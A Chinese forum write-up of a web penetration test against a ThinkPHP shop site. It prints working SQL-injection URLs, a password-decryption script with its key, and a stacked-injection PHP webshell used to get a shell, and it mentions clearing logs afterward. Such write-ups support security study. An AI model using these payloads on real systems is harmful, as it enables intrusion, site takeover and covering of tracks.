常规web渗透测试(一)
2020-04-20 00:18:17 Author: forum.90sec.com(查看原文) 阅读量:381 收藏

全程无干货,都是老知识。

起因

接到任务:

起因

简单信息收集

源码查找

老规矩,根据url,找到源码(还是github)

源码

子域名

子域名

共有两个子域名,ip为真实ip未加cdn。访问了两个站,发现都是一样的程序,账号密码通用,推测其中一个为备用站点。

端口探测

nmap扫描结果

2358为宝塔端口

简单源码审计 && 漏洞利用

源码审计-注入

(根据源码片段应该是可以找到源码包的,有兴趣的可以本地复现)

源码审计-注入1
源码审计-注入2

注入点(name为可控参数):

http://www.test.com/Shop/Home/mend.html?sousuo=sousuo&name=111

报错注入

http://www.test.com/Shop/Home/mend.html?sousuo=sousuo&name=111' or updatexml(1,concat(0x23,(select version()),0x23),1)%23
报错注入

堆叠注入

堆叠-1s

延时1s,响应时间为2-3s

堆叠-3s

延时3s,响应时间为7-8s

堆叠-5s

延时5s,响应时间为10-11s

(因网络问题测试不太准确,但因为延时成功仍可判断为堆叠注入。)

后台登陆

看源码是有三个后台的,通过注入得到其中一个后台管理员的账号密码,发现密码是自写加密。通过源码写出解密脚本(该后台密码可逆)

解密源码:

<?php
function think_ucenter_decrypt($data, $key)
{
 $key = md5($key);
 $x = 0;
 $data = base64_decode($data);
 $expire = substr($data, 0, 10);
 $data = substr($data, 10);
 if ($expire > 0 && $expire < time()) {
  return '';
 }
 $len = strlen($data);
 $l = strlen($key);
 $char = $str = '';
 for ($i = 0; $i < $len; $i++) {
  if ($x == $l) $x = 0;
  $char .= substr($key, $x, 1);
  $x++;
 }
 for ($i = 0; $i < $len; $i++) {
  if (ord(substr($data, $i, 1)) < ord(substr($char, $i, 1))) {
   $str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1)));
  } else {
   $str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1)));
  }
 }
 return base64_decode($str);
}
echo think_ucenter_decrypt("需解密内容",".O&4893h99s-pXf~F9(H4xZ@8NqsP#A3r");
?>
密码解密

成功登陆后台

后台界面

但是很古怪,并没有用户管理,这是不对的。

尝试登陆其他后台,发现路由被改了。

通过源码发现了log文件,并得到了修改后的后台路由(因为后面的操作,log文件被删除,这里没有截图保存。)

该后台的加密方式不可逆,暂不打算update管理密码登陆查看。

getshell

源码分析-temp文件

temp

与数据库内容比对

数据库

这里的表为ncconfig,那么这里的内容应该就是在nc这个后台控制的。

根据之前的经验看,thinkphp3的temp文件夹下的缓存文件,文件名是固定不变的,但是要生成这个文件的前提是需要先把这个缓存文件删除。

那么现在的思路就是:利用堆叠注入将这些字段下的value值修改为一句话木马(这里是怕后台的点不能修改数据库里的内容,因为当时看该后台是废弃后台,所以充分利用堆叠注入的优势) --> 删除该缓存文件 --> 后台任意点提交内容生成同名缓存文件达到getshell的目的

那我们现在差的就是删除缓存文件的方法

源码分析-删除缓存文件

清除缓存

跟进代码

缓存删除代码

ok,这个点是可利用的(当时log文件就是在runtime文件夹下,这个步骤把log文件一起删除了)

具体利用方法

  1. 在相应字段下插入一句话木马
update+ncconfig+set+value%3dconcat('\r\n+$a+%3d+$_POST[a]%3b$b+%3d+$_POST[b]%3b$a($b)%3b//\r\n+%3f',char(62))+where+id%3d9
  1. 删除缓存文件
http://www.test.com/nc.php?s=/Public/clear.html\
成功清除缓存
  1. 后台任意提交内容生成新的同名缓存文件getshell
后台提交

getshell

getshell

结尾

后续的操作就不写了,无非就是权限控制,清除日志等后续工作。

Ps:近期和小伙伴一起在做一些靶场相关的东西,不然咱也不能总去打htb是吧?不知道公测时候会不会有大佬来捧场


文章来源: https://forum.90sec.com/t/topic/964/1
如有侵权请联系:admin#unsafe.sh